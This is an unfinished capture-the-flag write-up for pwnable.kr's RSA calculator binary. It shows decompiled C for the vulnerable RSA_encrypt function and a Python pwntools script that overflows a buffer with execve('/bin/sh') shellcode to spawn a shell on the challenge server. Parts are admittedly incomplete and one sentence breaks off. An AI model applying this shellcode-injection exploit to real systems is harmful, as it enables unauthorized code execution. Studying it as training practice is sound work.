004

4/15/21

pwnable.kr - RSA calculator not done, im tired :( - 4/15/21

in this writeup, i will be breaking down the RSA encryption algorithm as best i can, as it is vital to actually understanding and pwning this challenge. I had stared at this binary for around 30 minutes not understanding anything that was going on due to the fact that i did not understand the fundemental concepts on which this binary is running on. Again, i will explain as best i can, but i dont do you justice, feel free to look at the resources i provided at the end of this.

I will also write my own script, demonstrating RSA in the hopes that it would improve our understanding in both implementation and the vulnerabilities that may arise when attempting to implement.

Now then, lets get onto the high level explanation on how RSA encryption works.

RSA - explanation and implementation

now maybe i lied to you, its not terribly important in the exploitation of this binary since each of these vulnerabilites does not lie within the RSA algorithm's implementation, but the vulnerable code that accompanies it. If we were to open this up in a disassembler, it would not take long to spot the vulns in which i will elaborate on in the next section.

this section is not done :(

Exploitation

Here is the vulnerable function we will be exploiting, though i have discovered about 2 already within the main() function. They seem unexploitable, but they may come in handy later? NX is not enabled, we are allowed to have complete and utter control over the program once we hijack the IP register.

int RSA_encrypt() {
  undefined4 extraout_EAX;
  size_t sVar1;
  long lVar2;
  undefined8 *puVar3;
  long in_FS_OFFSET;
  bool bVar4;
  byte bVar5;
  uint local_142c;
  int local_1428;
  int local_1424;
  int local_1420;
  char local_1419;
  undefined8 local_1418 [512];
  char local_418 [1032];
  bVar5 = 0;

  if (is_set == 0) {
    puts("set RSA key first");
  }
  else {
    local_142c = 0;
    printf("how long is your data?(max=1024) : ");
    scanf(&DAT_00401543,&local_142c,&local_142c);
    if (local_142c < 0x401) {
      local_1428 = 0;
      fgetc(stdin);
      puts("paste your plain text data");
      while (bVar4 = local_142c != 0, local_142c = local_142c - 1, bVar4) {
        sVar1 = fread(&local_1419,1,1,stdin);
        local_1420 = (int)sVar1;
        if (local_1420 == 0) {
          exit(0);
        }
        if (local_1419 == '\n') break;
        local_418[local_1428] = local_1419;
        local_1428 = local_1428 + 1;
      }
      memcpy(g_pbuf,local_418,(long)local_1428);
      local_1424 = 0;
      while (local_1424 < local_1428) {
        encrypt((char *)(ulong)(uint)(int)(char)g_pbuf[local_1424],0x6020c0);
        *(undefined4 *)(g_ebuf + (long)local_1424 * 4) = extraout_EAX;
        local_1424 = local_1424 + 1;
      }
      lVar2 = 0x80;
      puVar3 = local_1418;
      while (lVar2 != 0) {
        lVar2 = lVar2 + -1;
        *puVar3 = 0;
        puVar3 = puVar3 + (ulong)bVar5 * -2 + 1;
      }
      local_1424 = 0;
      while (local_1424 < local_1428 << 2) {
        sprintf((char *)((long)local_1418 + (long)(local_1424 * 2)),"%02x",
                (ulong)(byte)g_ebuf[local_1424]);
        local_1424 = local_1424 + 1;
      }
      puts("-encrypted result (hex encoded) -");
      puts((char *)local_1418);
    }
    else {
      puts("data length exceeds buffer size");
    }
  }
  return 0;
}

we have an important global variables that we will be exploiting called g_ebuf. This is a integer array of 256 entries. 256sizeof(int) which is 2564 will be the size of this global static allocation. We have a buffer overflow within our global variable g_ebuf, this is a 256 byte

#!/usr/bin/env python3
from fastpwn import pack, aslr, log
from pwn import process,ELF,context,remote,shellcraft,asm
from sys import argv
debug=0
if aslr.read():     # enable aslr
    aslr.write("2")
if debug:   # set debug
    context.log_level='DEBUG'
context(arch='amd64',os='linux')
if len(argv)>1 and argv[1]=="-r":
    p=remote("pwnable.kr", 9012)
else:
    p=process('./rsa_calculator',env={'LD_LIBRARY_PATH':'./'})
libc=ELF('./libc.so.6',checksec=False)
### helper functions
def s(x,r=""):
    p.recvuntil(r);p.sendline(str(x)) if r else p.sendline(str(x))
def key_pair(p,q,e,d):
    s(1,r=">")
    s(p,r="p :")
    s(q,r="q :")
    s(e,r="e :")
    s(d,r="d :")
def encrypt(l,d):
    s(2)
    s(l)
    s(d)
def decrypt(l,d):
    s(3)
    s(l,r=":")
    s(d,r="data\n")

shellcode=asm(shellcraft.execve("/bin/sh"))
key_pair(2707,2711,1898009,898009555)
s("2\n1024",r="> ")
#encrypt(1024,shellcode.ljust(264, b'\x90') + b'\x1d')
p.sendline(shellcode.ljust(264, b'\x90') + b'\x1d')
p.sendlineafter('> ', '1')
p.interactive()

Last updated